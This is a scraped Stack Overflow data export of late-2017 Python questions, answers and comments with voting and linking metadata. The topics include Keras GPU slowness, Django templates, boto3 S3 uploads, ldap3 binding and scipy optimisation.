linked to: http://stackoverflow.com/q/53787587
type: AnsweredQuestion
score: 3
accepted answer: http://stackoverflow.com/a/47406917
linked to: http://stackoverflow.com/q/47296197
tagged with: gpu
upvote count: 3
has answer: http://stackoverflow.com/a/47406917
has title: keras startup time (_make_train_function()) very slow on Tesla V100-SXM2-16GB GPU, compared to less powerful GPU
tagged with: tensorflow
type: Question
downvote count: 0
answer count: 1
has body: follow up to: keras with tensorflow on GPU machine - some parts are very slow Running mnist_cnn.py (slightly modified - mainly adding logging) from tensorflow 1.4 running was done using a prebuilt docker image: tensorflow/tensorflow:1.4.0-gpu-py3 on a p2.xlarge aws machine (that has a Tesla K80 GPU) performance is good, the 1st batch (which is dominated by the call to _make_train_function) takes about 2 seconds: (see time stamp for begin batch and end batch) 2017-11-19 08:26:26,172 : INFO : fit 2017-11-19 08:26:26,637 : INFO : begin batch 2017-11-19 08:26:26.638409: I tensorflow/core/platform/cpu_feature_guard.cc:137] Your CPU supports instructions that this TensorFlow binary was not compiled to use: SSE4.1 SSE4.2 AVX AVX2 FMA 2017-11-19 08:26:26.760940: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:892] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero 2017-11-19 08:26:26.761478: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1030] Found device 0 with properties: name: Tesla K80 major: 3 minor: 7 memoryClockRate(GHz): 0.8235 pciBusID: 0000:00:1e.0 totalMemory: 11.17GiB freeMemory: 11.11GiB 2017-11-19 08:26:26.761506: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1120] Creating TensorFlow device (/device:GPU:0) -&gt; (device: 0, name: Tesla K80, pci bus id: 0000:00:1e.0, compute capability: 3.7) 2017-11-19 08:26:28,135 : INFO : end batch x_train shape: (60000, 28, 28, 1) 60000 train samples 10000 test samples Train on 60000 samples, validate on 10000 samples Epoch 1/1 60000/60000 [==============================] - 12s - loss: 0.3526 - acc: 0.8920 - val_loss: 0.0818 - val_acc: 0.9755 Test loss: 0.081773182778 Test accuracy: 0.9755 on a p3.2xlarge machine (with a Tesla V100-SXM2-16GB GPU) the same part takes about 10 minutes 2017-11-19 08:26:44,120 : INFO : fit 2017-11-19 08:26:44,715 : INFO : begin batch 2017-11-19 08:26:44.716680: I tensorflow/core/platform/cpu_featur…
tagged with: python

http://stackoverflow.com/comment/81504624
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47276672
type: Comment
has text: Forgot to mention that there's no explicit session object within model_fn so unfortunately this wouldn't work.

http://stackoverflow.com/comment/81715407
comment on: http://stackoverflow.com/q/47380550
type: Comment
type: QuestionComment
has text: @TomaszPrzemski Okay, looks nice and clear. See my updated answer.
score: 0

http://stackoverflow.com/a/47379537
has comment: http://stackoverflow.com/comment/81711581
has comment: http://stackoverflow.com/comment/81711318
has comment: http://stackoverflow.com/comment/81711652
has body: That is the default behavior of %timeit, it performs multiple runs in order to attain more robust results. l = range(100) %timeit [i**2 for i in l] 10000 loops, best of 3: 41.6 µs per loop No. of loops executed is 1000, and it gives you the best out of three execution time.
type: Answer
has comment: http://stackoverflow.com/comment/81711418
answers question: http://stackoverflow.com/q/47379352
score: 0

http://stackoverflow.com/comment/81622638
score: 0
type: Comment
type: QuestionComment
has text: @WR dont believe that is the issue. Did that. You pointed it out in your answer.. it is due to merging with the same dataset.
comment on: http://stackoverflow.com/q/47332121

http://stackoverflow.com/comment/81599793
type: QuestionComment
has text: I updated it, it should now work. It actually runs substantially faster now too.
comment on: http://stackoverflow.com/q/47279167
score: 0
type: Comment

http://stackoverflow.com/a/47283583
downvote count: 0
upvote count: 2
answers question: http://stackoverflow.com/q/47283476
type: Answer
has body: if a&gt;10: print("your number is greater than 10") #indent the print statement else: print('Not greater than 10') #you need to perform an action inside the else condition
score: 2

http://stackoverflow.com/comment/81674789
comment on: http://stackoverflow.com/q/47358458
type: Comment
has text: I already answered the question you asked me.
type: QuestionComment
score: 0

http://stackoverflow.com/a/47341368
downvote count: 1
type: Answer
score: -1
answers question: http://stackoverflow.com/q/47341076
upvote count: 0
has body: Works for me with AWS Command line tools aws s3 cp ~/myFiles/file.xml &lt; s3 URI > --recursive
has comment: http://stackoverflow.com/comment/81635385

http://stackoverflow.com/comment/81414769
has text: What's the directory your IDE is running the script from? When you're running it from bash, `circle_data.txt` is resolving as `~/circle_data.txt`.
comment on: http://stackoverflow.com/q/47231918
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81408305
type: Comment
score: 0
has text: @PatrickArtner I thought the parameter was just a filler name
type: QuestionComment
comment on: http://stackoverflow.com/q/47228717

http://stackoverflow.com/a/47233985
type: Answer
upvote count: 1
has body: You can use a function that filters your list for each group of items in your second list. def filterall(list_in, *filter_iterables): out = list_in.copy() for it in filter_iterables: out = [x for x in out if not all(i in x for i in it)] return out x = [['a1', 'b1', 'c1'], ['a1', 'b1', 'c2'], ['a1', 'b1', 'c3'], ['a1', 'b2', 'c1'], ['a1', 'b2', 'c2'], ['a1', 'b2', 'c3'], ['a1', 'b3', 'c1'], ['a1', 'b3', 'c2'], ['a1', 'b3', 'c3'], ['a2', 'b1', 'c1'], ['a2', 'b1', 'c2'], ['a2', 'b1', 'c3'], ['a2', 'b2', 'c1'], ['a2', 'b2', 'c2'], ['a2', 'b2', 'c3'], ['a2', 'b3', 'c1'], ['a2', 'b3', 'c2'], ['a2', 'b3', 'c3'], ['a3', 'b1', 'c1'], ['a3', 'b1', 'c2'], ['a3', 'b1', 'c3'], ['a3', 'b2', 'c1'], ['a3', 'b2', 'c2'], ['a3', 'b2', 'c3'], ['a3', 'b3', 'c1'], ['a3', 'b3', 'c2'], ['a3', 'b3', 'c3']] filterall(x, ['a1', 'b1'], ['a2', 'b2']) # returns: [['a1', 'b2', 'c1'], ['a1', 'b2', 'c2'], ['a1', 'b2', 'c3'], ['a1', 'b3', 'c1'], ['a1', 'b3', 'c2'], ['a1', 'b3', 'c3'], ['a2', 'b1', 'c1'], ['a2', 'b1', 'c2'], ['a2', 'b1', 'c3'], ['a2', 'b3', 'c1'], ['a2', 'b3', 'c2'], ['a2', 'b3', 'c3'], ['a3', 'b1', 'c1'], ['a3', 'b1', 'c2'], ['a3', 'b1', 'c3'], ['a3', 'b2', 'c1'], ['a3', 'b2', 'c2'], ['a3', 'b2', 'c3'], ['a3', 'b3', 'c1'], ['a3', 'b3', 'c2'], ['a3', 'b3', 'c3']]
answers question: http://stackoverflow.com/q/47233882
type: AcceptedAnswer
score: 1
accepted answer of: http://stackoverflow.com/q/47233882
downvote count: 0

http://stackoverflow.com/a/47260182
accepted answer of: http://stackoverflow.com/q/47259432
score: 2
has comment: http://stackoverflow.com/comment/81471564
answers question: http://stackoverflow.com/q/47259432
type: Answer
has body: I did not bother to check your code for correctness because the implementation has complexity of O(n^2) for i in range(len(array)): for j in array: if ((array[i] - j) == grail): holy.append(array[i]) holy.append(j) The required answer needs to have preferable complexity of O(log n). For achieving that you need to sort the list upfront. from unittest import TestCase import unittest from sys import maxsize from itertools import tee def pairwise(iterable): "s -&gt; (s0,s1), (s1,s2), (s2, s3), ..." a, b = tee(iterable) next(b, None) return zip(a, b) def solution(n): n = sorted(n) pairs = [] diff = maxsize for l, u in pairwise(n): if u - l &lt;= diff: diff = u - l pairs.append((diff, (l,u))) pairs = sorted(pairs) least = pairs[0][0] return list(map(lambda x: x[1], filter(lambda x: x[0] == least, pairs))) class TestLeastDiffrence(TestCase): def testSimple(self): n = [-20, -3916237, -357920, -3620601, 7374819, -7330761, 30, 6246457, -6461594, 266854, -520, -470] self.assertEqual(solution(n),[(-520, -470), (-20, 30)]) if __name__ == '__main__': unittest.main()
upvote count: 2
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/47310018
downvote count: 0
type: Answer
has body: My problem using the ldap3.Connection was that I didn't use a login when binding. This seems to be a way forward: import ldap3 user = 'me@mycompany.com' password = 'mypassword' server = ldap3.Server('myserver') connection = ldap3.Connection(server, user=user, password=password) connection.bind() connection.search(search_base='DC=mycompany,DC=com', search_filter='(&amp;(objectClass=user)(userPrincipalName='+user+'))', search_scope='SUBTREE', attributes='*') And if you like to print some data: attrs = connection.response[0]['attributes'] print(attrs['displayName']) for memb in attrs['memberOf']: print(memb.partition('=')[2].partition(',')[0])
score: 4
accepted answer of: http://stackoverflow.com/q/47305342
upvote count: 4
answers question: http://stackoverflow.com/q/47305342
type: AcceptedAnswer

http://stackoverflow.com/comment/81407631
has text: Tried that. Still got the same error. Is there something I have to do to the .pxd file?
type: Comment
comment on: http://stackoverflow.com/q/47227707
score: 0
type: QuestionComment

http://stackoverflow.com/q/47243575
upvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47243658
answer count: 1
tagged with: store
tagged with: string
downvote count: 1
favorite count: 0
type: Question
has body: How do I read a file of data and store everything separated by a space into another string? If I have, for example, a column with names and a column with the age, like: Anna 23 Tim 12 So it should put Anna and Tim into a string name and 23 and 12 into a string age. Is there something like get in c++?
has title: How to read file line by line storing every word in seperate string? Python
tagged with: python
tagged with: readline
score: -1

http://stackoverflow.com/q/47340082
has answer: http://stackoverflow.com/a/57285695
has comment: http://stackoverflow.com/comment/81633897
has body: Ok i have this problem in my code when i run the server and go to the http://127.0.0.1:8000 it's run ok but the problem is ( i have a project called website and an app called music ok when i go to the http://127.0.0.1:8000/music it's tell me this Exception Type : TemplateDoesNotExist Exception Value: music/index.html my view.py from django.shortcuts import render from django.http import HttpResponse from .models import Album enter code here enter code here def index(request): all_albums = Album.objects.all() context = { 'all_albums': all_albums } return render(request, 'music/index.html',context) and this is what my server says enter image description here sorry about my English so bad
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/81632733
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/57285695
answer count: 2
has comment: http://stackoverflow.com/comment/81633534
score: 1
downvote count: 0
has answer: http://stackoverflow.com/a/57285472
possible better answer: http://stackoverflow.com/a/57285472
tagged with: web
upvote count: 1
has title: Django TemplateDoesNotExist : music/index.html
favorite count: 0
has comment: http://stackoverflow.com/comment/81642340
type: Question
has comment: http://stackoverflow.com/comment/81663323

http://stackoverflow.com/comment/81639025
score: 0
has text: Could you please update your question with main project urls.py and the django version ?
comment on: http://stackoverflow.com/q/47343477
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47361531
tagged with: pug
has title: Pug & Django: reverse URL + variable inline?
has body: Desired output: You're currently following xx artists Assuming I'm using Pug in a Django template, how would I achieve that if I don't want to hardcode the URL (which I have named as artists in my URL), and if the artist count is also a variable? I can do this: p You're currently following #{user_artists_count} artists but how can I make the last part a link to a Django URL with the name artists?
answer count: 1
type: Question
tagged with: pyjade
type: UnansweredQuestion
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/52909579
score: 0

http://stackoverflow.com/q/47368953
score: -4
answer count: 1
has comment: http://stackoverflow.com/comment/81690908
has title: Python breaking filter running after filnd the answer
has comment: http://stackoverflow.com/comment/81690577
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81690406
accepted answer: http://stackoverflow.com/a/47369303
has comment: http://stackoverflow.com/comment/81690420
tagged with: python
has comment: http://stackoverflow.com/comment/81690799
has body: Can I stop filter if it find the answer?, For example it find the number 10. example: filter(lambda num:num == 10,range(20))
has comment: http://stackoverflow.com/comment/81690695
favorite count: 0
type: Question
downvote count: 4
has answer: http://stackoverflow.com/a/47369303
has comment: http://stackoverflow.com/comment/81690531
upvote count: 0

http://stackoverflow.com/comment/81582317
type: Comment
score: 0
type: AnswerComment
has text: I think I am making progress. The selector is wrong because it throws the `ElementNotVisibleException` even though I know the element is there.
comment on: http://stackoverflow.com/a/47315312

http://stackoverflow.com/q/47240738
score: 0
answer count: 1
has body: I am trying to upload files from local directory to S3 folder. I am able to upload files to S3 bucket but I am unable to upload files to folder within S3 bucket. Could any one help? What am i doing wrong here.. Here is the code: import os import sys import boto3 import fnmatch import pprint import re import hashlib SOURCE_DIR = '/home/user/Downloads/tracks/' BUCKET_NAME = 'mybucket' S3_FOLDER = 'mybucket/folder1/' client = boto3.client('s3') s3 = boto3.resource('s3') def get_md5(filename): f = open(filename, 'rb') m = hashlib.md5() while True: data = f.read(10240) if len(data) == 0: break m.update(data) return m.hexdigest() def get_etag(filebase,filepath): for item in bucket.objects.all(): keyfile = S3_FOLDER + filebase if(keyfile == item.key): md5 = get_md5(filepath) etag = item.e_tag.strip('"').strip("'") if etag != md5: print(filebase + ": " + md5 + " != " + etag) return(files_to_upload.append(filepath)) else: return(files_to_upload.append(filepath)) files_to_upload = [] for root, dirnames, filenames in os.walk(SOURCE_DIR): for filename in filenames: filepath = os.path.join(root, filename) get_etag(filename,filepath) for f in files_to_upload: client.put_object(Bucket=BUCKET_NAME, Key=f)
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/47240865
tagged with: python
has answer: http://stackoverflow.com/a/47240865
tagged with: boto3
has title: Upload file to S3 folder using python boto
type: AnsweredQuestion
tagged with: python-2.7

http://stackoverflow.com/comment/81480484
comment on: http://stackoverflow.com/q/47264885
type: QuestionComment
has text: "Binary data" usually means that you cannot assume anything about it. Take ascii mode in ftp for example. It may mess with whitespaces. So unless you can apply any other label, it is binary.
type: Comment
score: 1

http://stackoverflow.com/comment/81976923
type: Comment
type: QuestionComment
score: 0
has text: Possible duplicate of [Django: Filtering the Distinct Data](https://stackoverflow.com/questions/47264754/django-filtering-the-distinct-data)
comment on: http://stackoverflow.com/q/47279487

http://stackoverflow.com/comment/81415957
comment on: http://stackoverflow.com/a/47232418
score: 0
type: AnswerComment
has text: I think gunicorn will start on port 8000 if you delete it
type: Comment

http://stackoverflow.com/comment/81868116
score: 0
type: Comment
type: QuestionComment
has text: For me it also hangs on the entire script. And I am not installing JayDeBeApi, but rather various other packages using pip.
comment on: http://stackoverflow.com/q/47283096

http://stackoverflow.com/q/47229286
has body: I installed anaconda on a sandbox in my work and trying to install tensorflow. I ran below command and run into issue. (venv) [root@box4 venv]# pip install --ignore-installed --upgrade https://storage.googleapis.com/tensorflow/linux/gpu/tensorflow_gpu-1.4.0-cp36-cp36m-linux_x86_64.whl Collecting tensorflow-gpu==1.4.0 from https://storage.googleapis.com/tensorflow/linux/gpu/tensorflow_gpu-1.4.0-cp36-cp36m-linux_x86_64.whl Retrying (Retry(total=4, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('&lt;pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x7f6304ba9e80&gt;: Failed to establish a new connection: [Errno 101] Network is unreachable',)': /tensorflow/linux/gpu/tensorflow_gpu-1.4.0-cp36-cp36m-linux_x86_64.whl Retrying (Retry(total=3, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('&lt;pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x7f6304ba9f28&gt;: Failed to establish a new connection: [Errno 101] Network is unreachable',)': /tensorflow/linux/gpu/tensorflow_gpu-1.4.0-cp36-cp36m-linux_x86_64.whl Retrying (Retry(total=2, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('&lt;pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x7f6304b5c048&gt;: Failed to establish a new connection: [Errno 101] Network is unreachable',)': /tensorflow/linux/gpu/tensorflow_gpu-1.4.0-cp36-cp36m-linux_x86_64.whl ^COperation cancelled by user I tried below command to check if internet is available on that box (venv) [root@gmc4bayer venv]# ping storage.googleapis.com PING storage.l.googleusercontent.com (172.217.12.48) 56(84) bytes of data. ^C --- storage.l.googleusercontent.com ping statistics --- 19 packets transmitted, 0 received, 100% packet loss, time 17999ms I am trying to find dest IP and any port(s) required so that I can ask my network admin to whitelist it. I m…
tagged with: anaconda
has title: Issue with installing packages on virtual environment created by anaconda
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/81410888
tagged with: linux
tagged with: network-programming
type: Question
tagged with: pip
tagged with: python
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47229512

http://stackoverflow.com/q/47249508
has answer: http://stackoverflow.com/a/47249671
tagged with: pip
tagged with: django
tagged with: python
score: -3
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47251825
possible better answer: http://stackoverflow.com/a/47249671
has comment: http://stackoverflow.com/comment/81449429
downvote count: 3
has title: Error while running migrate for django-hordak
has body: I want to use django-hordak in my application for accounting purpose and have followed the official tutorial at http://django-hordak.readthedocs.io/en/latest/. I add the applications "mptt" and "hordak" in INSTALLED_APPS and when I run ./manage.py migrate, it throws following error on the console: Please help! Thanks
favorite count: 0
type: Question
answer count: 2
upvote count: 0
has answer: http://stackoverflow.com/a/47251825

http://stackoverflow.com/q/47355240
tagged with: http://stackoverflow.com/tag/xml
has comment: http://stackoverflow.com/comment/81663037
score: 0
tagged with: xml-parsing
has comment: http://stackoverflow.com/comment/81663621
has title: parse xml files with python 3
answer count: 1
has comment: http://stackoverflow.com/comment/81663794
has comment: http://stackoverflow.com/comment/81665242
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47356968
type: UnansweredQuestion
tagged with: python
has body: Let's assume that i have couple of xml files. Assume that the first file is the base and the next files are the overrides (like update to the base file). I want to write a program that get lists of files (updates) and create a final xml with all the data. I succeed to read each file but i don't know how to combine them together. The original xml: &lt;Base&gt; &lt;Module ID = "Module1" Prop1 = "A" Prop2 = "B" Prop3 = "C" /&gt; &lt;!-- XML comment --&gt; &lt;Module ID = "Module2" Prop1 = "D" Prop2 = "E" Prop3 = "F" /&gt; &lt;/Base&gt; An update: &lt;!-- XML comment --&gt; &lt;Override&gt; &lt;Module ID = "Module1" Prop2 = "B_ov" Prop4 = "ZZ" /&gt; &lt;!-- XML comment --&gt; &lt;Module ID = "Module2" Prop1 = "D_ov" Prop5 = "F" /&gt; &lt;/Override&gt; Final xml file should look like: &lt;!-- XML comment --&gt; &lt;final&gt; &lt;Module ID = "Module1" Prop1 = "A" Prop2 = "B_ov" Prop3 = "C" Prop4 = "ZZ" /&gt; &lt;!-- XML comment --&gt; &lt;Module ID = "Module2" Prop1 = "D_ov" Prop2 = "E" Prop3 = "F" Prop5 = "F" /&gt; &lt;/final&gt; The code: from argparse import ArgumentParser from xml.etree import ElementTree def main(): parser = ArgumentParser() parser.add_argument('xml', nargs='+') a=parse_xml("Base.xml") print (a) b= parse_xml("Override.xml") print (b) def parse_xml(path): return {m.attrib.pop('ID'): m.attrib for m in ElementTree.parse(path).findall('Module')} if __name__ == '__main__': main()

http://stackoverflow.com/comment/81588178
type: Comment
type: AnswerComment
has text: Glad I could help! Best of luck, hope to see you back soon as paid-intern :)
score: 0
comment on: http://stackoverflow.com/a/47318374

http://stackoverflow.com/a/47360313
score: 0
has body: Just use a simple for-loop and a with statement: import csv filenames =['file1.csv', 'try.csv', 'new.csv'] for file in fienames: with open(file, 'r') as f: for row in csv.reader(f): #do something (check user input whatever...)
type: Answer
accepted answer of: http://stackoverflow.com/q/47359589
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47359589

http://stackoverflow.com/comment/81412699
type: Comment
has text: @juanpa.arrivillaga: me neither :), it was by accident :)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47230962

http://stackoverflow.com/comment/81687904
comment on: http://stackoverflow.com/q/47367779
score: 1
has text: D you want to write it back to the file?
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47375680
has title: Counter for words and emoji
has answer: http://stackoverflow.com/a/47380561
has answer: http://stackoverflow.com/a/47375792
upvote count: 2
tagged with: counter
tagged with: python
tagged with: emoji
accepted answer: http://stackoverflow.com/a/47375792
type: AnsweredQuestion
answer count: 3
tagged with: pandas
score: 2
downvote count: 0
tagged with: string
has body: I have a dataframe with a column "clear_message", and I created a column that counts all the words in each row. history['word_count'] = history.clear_message.apply(lambda x: Counter(x.split(' '))) For example, if the rows message is: Hello my name is Hello Then the counter in his row, will be Counter({'Hello': 2, 'is': 1, 'my': 1, 'name': 1}) The problem I have emoji in my text, and I want also a counter for the emoji. For example: test = 'here sasdsa' test_counter = Counter(test.split(' ')) The output is: Counter({'sasdsa': 1, 'here': 1}) But I want: Counter({'sasdsa': 1, '': 5, 'here':1}) Clearly the problem is that I'm using split(' '). What I thought about: Adding a space before and after the emoji. like: test = ' here sasdsa' And then use the split, which will work. Not sure this approach is the best. Not sure how to do it. (I do know that if i is an emoji, then if i in emoji.UNICODE_EMOJI will return true (the emoji package)).
has answer: http://stackoverflow.com/a/78235392
possible better answer: http://stackoverflow.com/a/47380561
favorite count: 0
type: Question

http://stackoverflow.com/comment/81482046
comment on: http://stackoverflow.com/q/47231605
score: 0
type: Comment
has text: libboost is not installed. Install libboost for python 3
type: QuestionComment

http://stackoverflow.com/q/47338873
tagged with: random
answer count: 3
has answer: http://stackoverflow.com/a/47339358
has comment: http://stackoverflow.com/comment/81630050
has comment: http://stackoverflow.com/comment/81630103
has answer: http://stackoverflow.com/a/47362865
upvote count: 1
tagged with: percentage
downvote count: 1
favorite count: 0
has title: Activate certain functions based on percent
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81629994
accepted answer: http://stackoverflow.com/a/47362865
has comment: http://stackoverflow.com/comment/81630483
tagged with: function
has comment: http://stackoverflow.com/comment/81630567
has comment: http://stackoverflow.com/comment/81630265
has comment: http://stackoverflow.com/comment/81630363
tagged with: python
has body: if chance == 1: function1() elif chance == 4: function2() elif chance == 20: function3() elif chance == 10: functiongettingoutofideas() elif chance == 40: function_minecraft_club_was_not_on_today_insertcryingemoji() elif chance == 10: function8() elif chance == 4: functionthesearealotoffunctions() elif chance == 5: function_above_when_i_mean_5_i_mean_5_percent_chance() elif chance == 6: function_thank_you_for_your_help() In the if and the elifs when i put for example, chance == 10, that means there is a 10% chance of that function being activated. Any help will be much appreciated
has comment: http://stackoverflow.com/comment/81631567
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81630158
score: 0
possible better answer: http://stackoverflow.com/a/47339358
has answer: http://stackoverflow.com/a/47339158

http://stackoverflow.com/q/47273175
has answer: http://stackoverflow.com/a/47285431
tagged with: google-bigquery
score: 2
type: AnsweredQuestion
tagged with: python-2.7
answer count: 2
has body: All, I'm having trouble creating a Google BigQuery view in python with the version 0.28 of the bq library that has come out about two weeks ago. I'm quite certain the problem is on my side, something I'm missing, but I cannot find the issue. Please be gentle, I don't ask lots of questions online but I'm quite stumped. I'm also not completely incompetent, here are some details: I have my GOOGLE_APPLICATION_CREDENTIALS set correctly All the other commands I've run against bq via python are fine I've reviewed the https://cloud.google.com/bigquery/docs/python-client-migration I think the issue is around the "fix" https://github.com/GoogleCloudPlatform/google-cloud-python/pull/4038 BigQuery: replaces table.create() with client.create_table() #4038 I've tried legacy vs. standard sql I'm on python 2.7.12 (can't upgrade anytime soon, corporate version thing) The issue? The code in the second block below creates a TABLE, with no schema and no records. It clearly should create a VIEW instead, right? sudo pip install -Iv google-cloud-bigquery==0.27.0 from google.cloud import bigquery project=None dataset_name = 'my_dataset_id' view_name = 'vw_dummy_data20' sqlQuery = 'select record_id as id, UPPER(first_name) as first_name, UPPER(last_name) as last_name from [my_project_code:my_dataset_id.dummy_data13]' bigquery_client = bigquery.Client(project=project) dataset = bigquery_client.dataset(dataset_name) table = dataset.table(view_name) table.view_query = sqlQuery table.create() the above works fine, view created, great! the below, only a table is created, no rows, no schema, yuck! sudo pip uninstall google-cloud-bigquery sudo pip install -Iv google-cloud-bigquery==0.28.0 from google.cloud import bigquery project=None dataset_name = 'my_dataset_id' view_name = 'vw_dummy_data21' sqlQuery = 'select record_id as id, UPPER(first_name) as first_name, UPPER(last_name) as last_name from [my_project_code:my_dataset_id.dummy_data13]' bigquery_client = bigquery.Client(project=project) datas…
upvote count: 2
downvote count: 0
accepted answer: http://stackoverflow.com/a/47275719
linked to: http://stackoverflow.com/q/33243427
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47275719
possible better answer: http://stackoverflow.com/a/47285431
has title: Google BigQuery: creating a view via Python google-cloud-bigquery version 0.27.0 vs. 0.28.0
tagged with: python

http://stackoverflow.com/comment/81428002
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47238822
has text: Missing brackets
score: 0

http://stackoverflow.com/q/47295108
has comment: http://stackoverflow.com/comment/81541429
has comment: http://stackoverflow.com/comment/81541559
has comment: http://stackoverflow.com/comment/81541370
possible better answer: http://stackoverflow.com/a/47295258
type: Question
has comment: http://stackoverflow.com/comment/81541312
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81541982
accepted answer: http://stackoverflow.com/a/47295229
tagged with: regex
score: 1
has body: Just for learning I am trying to replace all the special characters present in the keyboard to replace with underscore'_' List of characters= ~!@#$%^&amp;*()+|}{:"?&gt;&lt;-=[]\;',./ string I created: table = """123~!@#$%^&amp;*()+|}{:"?&gt;&lt;-=[]\;',./""" import re table1= re.sub(r'!~@#$%^&amp;*()-+={}[]:;&lt;.&gt;?/\'"', '_', table) Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "/usr/lib64/python2.7/re.py", line 151, in sub return _compile(pattern, flags).sub(repl, string, count) File "/usr/lib64/python2.7/re.py", line 242, in _compile raise error, v # invalid expression sre_constants.error: unexpected end of regular expression Unable to do so I am getting the above error. How can I replace the special characters in the string using regex
has comment: http://stackoverflow.com/comment/81541512
has comment: http://stackoverflow.com/comment/81541817
has answer: http://stackoverflow.com/a/47295229
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/81541320
upvote count: 2
has answer: http://stackoverflow.com/a/47295258
answer count: 2
tagged with: python
has title: Special characters replace using regex in python

http://stackoverflow.com/comment/81433321
comment on: http://stackoverflow.com/a/47241134
score: 0
type: Comment
type: AnswerComment
has text: No matter what I do I keep getting that attributeError, going to uninstall and reinstall python3. Do you think having anaconda or python2.7 installed is creating any kind or errors here?

http://stackoverflow.com/q/47257032
type: Question
has body: Make two new dictionaries representing different people, and store all three dictionaries in a list called people. Loop through your list of people. As you loop through the list, print everything you know about each person. person_1 = {'first_name':'shamol', 'last_name': 'kabir', 'age': '25', 'city': 'jessore'} person_2 = {'first_name':'shorif', 'last_name':'jaman', 'age':'28', 'city':'khulna'} person_3= {'first_name':'mizan', 'last_name':'rahman', 'age':'25', 'city':'jessore'} people= [person_1,person_2,person_3] what will be the next few lines??
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47257337
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/47257075
has comment: http://stackoverflow.com/comment/81466065
has title: How do I print everything separately? What will be the loop?
has comment: http://stackoverflow.com/comment/81464969
tagged with: list
answer count: 2
downvote count: 4
tagged with: for-loop
upvote count: 0
has comment: http://stackoverflow.com/comment/81464992
score: -4
favorite count: 0

http://stackoverflow.com/a/47269281
has comment: http://stackoverflow.com/comment/81500974
type: Answer
has body: The problem is that you have two Python versions installed: C:\Users\afsan\Anaconda3\ C:\Users\afsan\AppData\Local\Programs\Python\Python36 Given that it seems you want to use Spyder with Anaconda, please remove your second Python version (manually, if necessary). That should fix your problem.
downvote count: 1
score: 5
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47267716
upvote count: 6
answers question: http://stackoverflow.com/q/47267716

http://stackoverflow.com/comment/81487268
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47267980
has text: `smgon.csv`, let me try appending the full path in the beginning of the file

http://stackoverflow.com/comment/81523391
score: 0
comment on: http://stackoverflow.com/q/47286756
type: QuestionComment
has text: The problem is: when you delete a certain item a, the list has changed already. So maybe the for loop is the problem... EDIT: stop, I have not recognised your `sorted`
type: Comment

http://stackoverflow.com/q/47342917
has answer: http://stackoverflow.com/a/47343242
tagged with: numpy
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/15680593
score: 1
has body: I am following Andrew NG course on coursera and I wanted to implement that same logic on python. I am trying to compute cost and theta with scipy.optimize.fmin_ncg Here's a code import numpy as np from scipy.optimize import fmin_ncg def sigmoid(z): return (1 / (1 + np.exp(-z))).reshape(-1, 1) def compute_cost(theta, X, y): m = len(y) hypothesis = sigmoid(np.dot(X, theta)) cost = (1 / m) * np.sum(np.dot(-y.T, (np.log(hypothesis))) - np.dot((1 - y.T), np.log(1 - hypothesis))) return cost def compute_gradient(theta, X, y): m = len(y) hypothesis = sigmoid(np.dot(X, theta)) gradient = (1 / m) * np.dot(X.T, (hypothesis - y)) return gradient def main(): data = np.loadtxt("data/data1.txt", delimiter=",") # 100, 3 X = data[:, 0:2] y = data[:, 2:] m, n = X.shape initial_theta = np.zeros((n + 1, 1)) X = np.column_stack((np.ones(m), X)) mr = fmin_ncg(compute_cost, initial_theta, compute_gradient, args=(X, y), full_output=True) print(mr) if __name__ == "__main__": main() When I try to run this I get and error / exception like below Traceback (most recent call last): File "/file/path/without_regression.py", line 78, in &lt;module&gt; main() File "/file/path/without_regression.py", line 66, in main mr = fmin_ncg(compute_cost, initial_theta, compute_gradient, args=(X, y), full_output=True) File "/usr/local/anaconda3/envs/ml/lib/python3.6/site-packages/scipy/optimize/optimize.py", line 1400, in fmin_ncg callback=callback, **opts) File "/usr/local/anaconda3/envs/ml/lib/python3.6/site-packages/scipy/optimize/optimize.py", line 1497, in _minimize_newtoncg dri0 = numpy.dot(ri, ri) ValueError: shapes (3,1) and (3,1) not aligned: 1 (dim 1) != 3 (dim 0) I don't understand this error. May be because I am beginner this to not verbose for me. How to use scipy.optimize.fmin_ncg or any other minimization technique such as scipy.optimize.minimize(...) to compute cost and theta?
downvote count: 0
answer count: 1
tagged with: machine-learning
upvote count: 1
tagged with: scipy
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81638381
has title: How to calculate cost and theta with fmin_ncg
